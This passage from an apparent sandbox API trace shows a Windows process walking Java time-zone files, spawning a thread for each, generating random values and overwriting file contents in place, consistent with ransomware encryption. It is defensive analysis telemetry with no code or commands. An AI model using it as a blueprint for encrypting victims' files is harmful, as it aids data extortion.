dwReserved1=0x0, cFileName="CST6", cAlternateFileName="")) returned 1 [0158.732] wcscmp (_String1="CST6", _String2=".") returned 1 [0158.732] wcscmp (_String1="CST6", _String2="..") returned 1 [0158.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85dd90 [0158.732] wcscpy (in: _Dest=0x1b85dd90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.732] wcscat (in: _Dest=0x1b85dd90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.732] wcscat (in: _Dest=0x1b85dd90, _Source="CST6" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\CST6") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\CST6" [0158.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85dd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0158.733] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CST6CDT", cAlternateFileName="")) returned 1 [0158.733] wcscmp (_String1="CST6CDT", _String2=".") returned 1 [0158.733] wcscmp (_String1="CST6CDT", _String2="..") returned 1 [0158.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307380 [0158.733] wcscpy (in: _Dest=0x42307380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.733] wcscat (in: _Dest=0x42307380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.733] wcscat (in: _Dest=0x42307380, _Source="CST6CDT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\CST6CDT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\CST6CDT" [0158.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0158.748] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST5", cAlternateFileName="")) returned 1 [0158.748] wcscmp (_String1="EST5", _String2=".") returned 1 [0158.748] wcscmp (_String1="EST5", _String2="..") returned 1 [0158.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42307400 [0158.748] wcscpy (in: _Dest=0x42307400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.748] wcscat (in: _Dest=0x42307400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.748] wcscat (in: _Dest=0x42307400, _Source="EST5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\EST5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\EST5" [0158.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0158.750] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST5EDT", cAlternateFileName="")) returned 1 [0158.750] wcscmp (_String1="EST5EDT", _String2=".") returned 1 [0158.750] wcscmp (_String1="EST5EDT", _String2="..") returned 1 [0158.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307480 [0158.750] wcscpy (in: _Dest=0x42307480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.750] wcscat (in: _Dest=0x42307480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.750] wcscat (in: _Dest=0x42307480, _Source="EST5EDT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\EST5EDT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\EST5EDT" [0158.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd40 [0158.751] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HST10", cAlternateFileName="")) returned 1 [0158.751] wcscmp (_String1="HST10", _String2=".") returned 1 [0158.751] wcscmp (_String1="HST10", _String2="..") returned 1 [0158.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42307500 [0158.751] wcscpy (in: _Dest=0x42307500, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.751] wcscat (in: _Dest=0x42307500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.751] wcscat (in: _Dest=0x42307500, _Source="HST10" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\HST10") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\HST10" [0158.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0158.753] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST7", cAlternateFileName="")) returned 1 [0158.753] wcscmp (_String1="MST7", _String2=".") returned 1 [0158.753] wcscmp (_String1="MST7", _String2="..") returned 1 [0158.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42307580 [0158.753] wcscpy (in: _Dest=0x42307580, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.753] wcscat (in: _Dest=0x42307580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.753] wcscat (in: _Dest=0x42307580, _Source="MST7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7" [0158.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0158.754] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST7MDT", cAlternateFileName="")) returned 1 [0158.754] wcscmp (_String1="MST7MDT", _String2=".") returned 1 [0158.754] wcscmp (_String1="MST7MDT", _String2="..") returned 1 [0158.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307600 [0158.755] wcscpy (in: _Dest=0x42307600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.755] wcscat (in: _Dest=0x42307600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.755] wcscat (in: _Dest=0x42307600, _Source="MST7MDT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7MDT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7MDT" [0158.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0158.756] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PST8", cAlternateFileName="")) returned 1 [0158.756] wcscmp (_String1="PST8", _String2=".") returned 1 [0158.756] wcscmp (_String1="PST8", _String2="..") returned 1 [0158.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42307680 [0158.756] wcscpy (in: _Dest=0x42307680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.756] wcscat (in: _Dest=0x42307680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.757] wcscat (in: _Dest=0x42307680, _Source="PST8" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\PST8") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\PST8" [0158.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0158.758] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PST8PDT", cAlternateFileName="")) returned 1 [0158.758] wcscmp (_String1="PST8PDT", _String2=".") returned 1 [0158.758] wcscmp (_String1="PST8PDT", _String2="..") returned 1 [0158.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307700 [0158.758] wcscpy (in: _Dest=0x42307700, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.758] wcscat (in: _Dest=0x42307700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.758] wcscat (in: _Dest=0x42307700, _Source="PST8PDT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\PST8PDT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\PST8PDT" [0158.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0158.759] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YST9", cAlternateFileName="")) returned 1 [0158.759] wcscmp (_String1="YST9", _String2=".") returned 1 [0158.759] wcscmp (_String1="YST9", _String2="..") returned 1 [0158.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42307780 [0158.759] wcscpy (in: _Dest=0x42307780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.760] wcscat (in: _Dest=0x42307780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.760] wcscat (in: _Dest=0x42307780, _Source="YST9" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\YST9") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\YST9" [0158.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0158.762] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YST9YDT", cAlternateFileName="")) returned 1 [0158.762] wcscmp (_String1="YST9YDT", _String2=".") returned 1 [0158.762] wcscmp (_String1="YST9YDT", _String2="..") returned 1 [0158.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307800 [0158.762] wcscpy (in: _Dest=0x42307800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.762] wcscat (in: _Dest=0x42307800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.763] wcscat (in: _Dest=0x42307800, _Source="YST9YDT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\YST9YDT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\YST9YDT" [0158.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0158.764] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YST9YDT", cAlternateFileName="")) returned 0 [0158.764] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0158.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4280) returned 1 [0158.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9630) returned 1 [0158.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86edb0) returned 1 Thread: id = 2470 os_tid = 0x1f0c [0154.293] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\WET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\wet")) returned 0x20 [0154.294] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\WET", dwFileAttributes=0x20) returned 1 [0154.295] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\WET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\wet"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa4c [0154.296] GetFileSizeEx (in: hFile=0xa4c, lpFileSize=0x2b55fd00 | out: lpFileSize=0x2b55fd00*=1068) returned 1 [0154.297] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x428, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.297] ReadFile (in: hFile=0xa4c, lpBuffer=0x2b55fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b55fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2b55fc80*, lpNumberOfBytesRead=0x2b55fcc8*=0x4, lpOverlapped=0x0) returned 1 [0154.308] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd95c0 [0154.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9650 [0154.309] NtQuerySystemTime (in: CurrentTime=0x2b55fbc0 | out: CurrentTime=0x2b55fbc0*=132462177594394000) returned 0x0 [0154.309] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x3be5c2ff [0154.309] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x61ab6145 [0154.309] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0xeebbfbf [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x3a97f3fd [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x419b1ba1 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x4ecacf4f [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x204ed2fa [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x3b9c26f7 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x77a0cf02 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x547c824c [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x6345f1f0 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0xd1b549d [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x369eb60f [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x2d0cb3d7 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x1989ba52 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x5ce8d80a [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x4ecd59df [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x496fe44a [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x4eddc060 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x5e567522 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x77f2ff0e [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x75bd6c2a [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x11201831 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x41f0b2c8 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x797e78bd [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x12bd0c3f [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x4afe2268 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x38ae64bf [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x3b188ebd [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x4ab5437e [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x34a368a2 [0154.310] RtlRandomEx (in: Seed=0x2b55fbb0 | out: Seed=0x2b55fbb0) returned 0x7ba275c2 [0154.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9680 [0154.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c3c0 [0154.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd96b0 [0154.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c3c0) returned 1 [0154.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9650) returned 1 [0154.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1cf0 [0154.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c3c0 [0154.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427e16b0 [0154.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427e52c0 [0154.321] ReadFile (in: hFile=0xa4c, lpBuffer=0x427e16b0, nNumberOfBytesToRead=0x42c, lpNumberOfBytesRead=0x2b55fbb0, lpOverlapped=0x0 | out: lpBuffer=0x427e16b0*, lpNumberOfBytesRead=0x2b55fbb0*=0x42c, lpOverlapped=0x0) returned 1 [0154.321] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.321] WriteFile (in: hFile=0xa4c, lpBuffer=0x427e52c0*, nNumberOfBytesToWrite=0x42c, lpNumberOfBytesWritten=0x2b55fbb4, lpOverlapped=0x0 | out: lpBuffer=0x427e52c0*, lpNumberOfBytesWritten=0x2b55fbb4*=0x42c, lpOverlapped=0x0) returned 1 [0162.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180c0 [0162.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180f0 [0162.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c180f0) returned 1 [0162.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427e52c0) returned 1 [0162.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427e16b0) returned 1 [0162.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c3c0) returned 1 